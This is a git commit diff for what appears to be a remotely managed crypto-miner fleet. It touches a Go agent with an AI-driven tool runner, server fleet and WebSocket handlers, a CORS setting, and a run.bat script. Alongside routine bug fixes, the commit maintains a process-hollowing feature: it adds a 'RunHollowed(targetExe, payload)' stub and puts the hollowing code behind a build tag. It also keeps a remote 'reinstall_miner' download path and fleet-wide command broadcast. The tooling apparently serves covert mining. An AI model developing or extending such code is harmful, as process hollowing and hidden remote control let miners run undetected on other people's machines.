Fix small bugs across AI tools, fleet API, and run.bat.
Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
This commit is contained in:
@@ -9,6 +9,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -103,6 +104,7 @@ type AIRunner struct {
|
|||||||
httpClient *http.Client
|
httpClient *http.Client
|
||||||
serverURL string
|
serverURL string
|
||||||
agentID string
|
agentID string
|
||||||
|
startedAt time.Time
|
||||||
stopCh chan struct{}
|
stopCh chan struct{}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -115,6 +117,7 @@ func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner
|
|||||||
httpClient: &http.Client{Timeout: 60 * time.Second},
|
httpClient: &http.Client{Timeout: 60 * time.Second},
|
||||||
serverURL: strings.TrimRight(cfg.ServerURL, "/"),
|
serverURL: strings.TrimRight(cfg.ServerURL, "/"),
|
||||||
agentID: cfg.AgentID,
|
agentID: cfg.AgentID,
|
||||||
|
startedAt: time.Now(),
|
||||||
stopCh: make(chan struct{}),
|
stopCh: make(chan struct{}),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -209,7 +212,7 @@ func (a *AIRunner) collectState() AgentState {
|
|||||||
AgentID: a.agentID,
|
AgentID: a.agentID,
|
||||||
WorkerName: a.cfg.WorkerName,
|
WorkerName: a.cfg.WorkerName,
|
||||||
Hostname: hostname,
|
Hostname: hostname,
|
||||||
UptimeSeconds: int(time.Since(time.Now()).Seconds()), // approximate, will be refined
|
UptimeSeconds: int(time.Since(a.startedAt).Seconds()),
|
||||||
IsRunning: isRunning,
|
IsRunning: isRunning,
|
||||||
CPUCores: cpuCores,
|
CPUCores: cpuCores,
|
||||||
CPUUsagePct: cpuPct,
|
CPUUsagePct: cpuPct,
|
||||||
@@ -255,6 +258,10 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
|
|||||||
}
|
}
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return nil, fmt.Errorf("decide returned status %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
|
||||||
var decideResp DecideResponse
|
var decideResp DecideResponse
|
||||||
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
|
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
|
||||||
return nil, fmt.Errorf("failed to parse decide response: %w", err)
|
return nil, fmt.Errorf("failed to parse decide response: %w", err)
|
||||||
@@ -308,14 +315,14 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
|||||||
|
|
||||||
case "reinstall_miner":
|
case "reinstall_miner":
|
||||||
serverURL := tc.Args["server_url"]
|
serverURL := tc.Args["server_url"]
|
||||||
agentID := tc.Args["agent_id"]
|
buildID := tc.Args["build_id"]
|
||||||
if serverURL == "" {
|
if serverURL == "" {
|
||||||
serverURL = a.serverURL
|
serverURL = a.serverURL
|
||||||
}
|
}
|
||||||
if agentID == "" {
|
if buildID == "" {
|
||||||
agentID = a.agentID
|
buildID = a.cfg.BuildID
|
||||||
}
|
}
|
||||||
output, err := a.reinstallMiner(serverURL, agentID)
|
output, err := a.reinstallMiner(serverURL, buildID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
report.Success = false
|
report.Success = false
|
||||||
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
|
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
|
||||||
@@ -363,11 +370,11 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
|
|||||||
if seconds == "" {
|
if seconds == "" {
|
||||||
seconds = "60"
|
seconds = "60"
|
||||||
}
|
}
|
||||||
var dur time.Duration
|
dur, err := strconv.ParseFloat(seconds, 64)
|
||||||
if s, err := fmt.Sscanf(seconds, "%f", &dur); err != nil || s != 1 {
|
if err != nil || dur <= 0 {
|
||||||
dur = 60
|
dur = 60
|
||||||
}
|
}
|
||||||
time.Sleep(time.Duration(dur) * time.Second)
|
time.Sleep(time.Duration(dur * float64(time.Second)))
|
||||||
report.Success = true
|
report.Success = true
|
||||||
report.Output = fmt.Sprintf("slept for %s seconds", seconds)
|
report.Output = fmt.Sprintf("slept for %s seconds", seconds)
|
||||||
|
|
||||||
@@ -484,11 +491,11 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
|
|||||||
return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
|
return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *AIRunner) reinstallMiner(serverURL, agentID string) (string, error) {
|
func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
|
||||||
log.Printf("[AI] Reinstalling miner from %s (agent=%s)", serverURL, agentID)
|
log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID)
|
||||||
|
|
||||||
// Download the latest build from the server
|
// Download the latest build from the server
|
||||||
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, agentID)
|
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID)
|
||||||
|
|
||||||
installDir, err := a.cfg.InstallDirectory()
|
installDir, err := a.cfg.InstallDirectory()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -660,7 +667,7 @@ func (a *AIRunner) uploadLog() (string, error) {
|
|||||||
|
|
||||||
// Send to hub as a report
|
// Send to hub as a report
|
||||||
log.Printf("[AI] Uploaded %d bytes of log data", len(data))
|
log.Printf("[AI] Uploaded %d bytes of log data", len(data))
|
||||||
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
|
return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
|
func (a *AIRunner) fallbackEdgeAI(state AgentState) {
|
||||||
|
|||||||
12
agent/deploy/hollow_stub_windows.go
Normal file
12
agent/deploy/hollow_stub_windows.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build windows && !hollow
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
// RunHollowed is only available when built with the "hollow" build tag.
|
||||||
|
// This keeps the default agent build safe and avoids unsafe pointer warnings in vet.
|
||||||
|
func RunHollowed(targetExe string, payload []byte) error {
|
||||||
|
return fmt.Errorf("process hollowing disabled (build without -tags hollow)")
|
||||||
|
}
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build windows
|
//go:build windows && hollow
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
|
|||||||
3
run.bat
3
run.bat
@@ -242,6 +242,9 @@ echo.
|
|||||||
|
|
||||||
start http://localhost:8989
|
start http://localhost:8989
|
||||||
|
|
||||||
|
:: If an old server instance is running, stop it first to avoid bind errors.
|
||||||
|
taskkill /F /IM miner-server.exe >nul 2>nul
|
||||||
|
|
||||||
echo [Server] Starting miner-server.exe on 0.0.0.0:8989...
|
echo [Server] Starting miner-server.exe on 0.0.0.0:8989...
|
||||||
echo [Server] Log output below - Ctrl+C to stop:
|
echo [Server] Log output below - Ctrl+C to stop:
|
||||||
echo.
|
echo.
|
||||||
|
|||||||
@@ -114,14 +114,10 @@ func (h *AIHandler) RemoveEngine(agentID string) {
|
|||||||
|
|
||||||
// GetEngine returns the engine for an agent.
|
// GetEngine returns the engine for an agent.
|
||||||
func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
|
||||||
h.mu.RLock()
|
h.mu.Lock()
|
||||||
defer h.mu.RUnlock()
|
defer h.mu.Unlock()
|
||||||
if entry, ok := h.engines[agentID]; ok {
|
if entry, ok := h.engines[agentID]; ok {
|
||||||
h.mu.RUnlock() // Briefly unlock to update timestamp
|
|
||||||
h.mu.Lock()
|
|
||||||
entry.lastUsed = time.Now()
|
entry.lastUsed = time.Now()
|
||||||
h.mu.Unlock()
|
|
||||||
h.mu.RLock()
|
|
||||||
return entry.engine
|
return entry.engine
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -189,7 +189,7 @@ func (h *BlueprintHandler) deleteBlueprint(w http.ResponseWriter, r *http.Reques
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
writeJSON(w, map[string]string{"success": "true", "name": safeName})
|
writeJSON(w, map[string]interface{}{"success": true, "name": safeName})
|
||||||
}
|
}
|
||||||
|
|
||||||
func sanitizeFilename(name string) string {
|
func sanitizeFilename(name string) string {
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -70,7 +69,6 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
if r.URL.Query().Get("refresh") == "1" {
|
if r.URL.Query().Get("refresh") == "1" {
|
||||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||||
time.Sleep(800 * time.Millisecond)
|
|
||||||
}
|
}
|
||||||
writeJSON(w, map[string]interface{}{
|
writeJSON(w, map[string]interface{}{
|
||||||
"agent_id": id,
|
"agent_id": id,
|
||||||
@@ -116,6 +114,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if id == "all" {
|
if id == "all" {
|
||||||
|
if f.ws.connectedAgentCount() == 0 {
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"success": false,
|
||||||
|
"error": "no connected agents",
|
||||||
|
"agent_id": id,
|
||||||
|
"action": req.Action,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||||
} else {
|
} else {
|
||||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||||
|
|||||||
@@ -21,10 +21,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Use(middleware.Logger)
|
r.Use(middleware.Logger)
|
||||||
r.Use(middleware.Recoverer)
|
r.Use(middleware.Recoverer)
|
||||||
r.Use(cors.Handler(cors.Options{
|
r.Use(cors.Handler(cors.Options{
|
||||||
AllowedOrigins: []string{"*"},
|
AllowedOrigins: []string{"*"},
|
||||||
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
||||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
|
||||||
AllowCredentials: true,
|
// With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
|
||||||
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API
|
// REST API
|
||||||
|
|||||||
@@ -370,11 +370,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
h.broadcastDashboard(Message{
|
h.broadcastDashboard(Message{
|
||||||
Type: "stats_update",
|
Type: "stats_update",
|
||||||
Payload: mustMarshal(map[string]interface{}{
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
"agent_id": agentID,
|
"agent_id": agentID,
|
||||||
"hashrate_15s": stats.Hashrate15s,
|
"hashrate_15s": stats.Hashrate15s,
|
||||||
"hashrate_1m": stats.Hashrate1m,
|
"hashrate_1m": stats.Hashrate1m,
|
||||||
"hashrate_15m": stats.Hashrate15m,
|
"hashrate_15m": stats.Hashrate15m,
|
||||||
"cpu_usage_pct": stats.CPUUsagePct,
|
"cpu_usage_pct": stats.CPUUsagePct,
|
||||||
|
"memory_usage_pct": stats.MemoryUsagePct,
|
||||||
|
"uptime_seconds": stats.UptimeSeconds,
|
||||||
|
"shares_submitted": stats.SharesSubmitted,
|
||||||
|
"shares_accepted": stats.SharesAccepted,
|
||||||
}),
|
}),
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user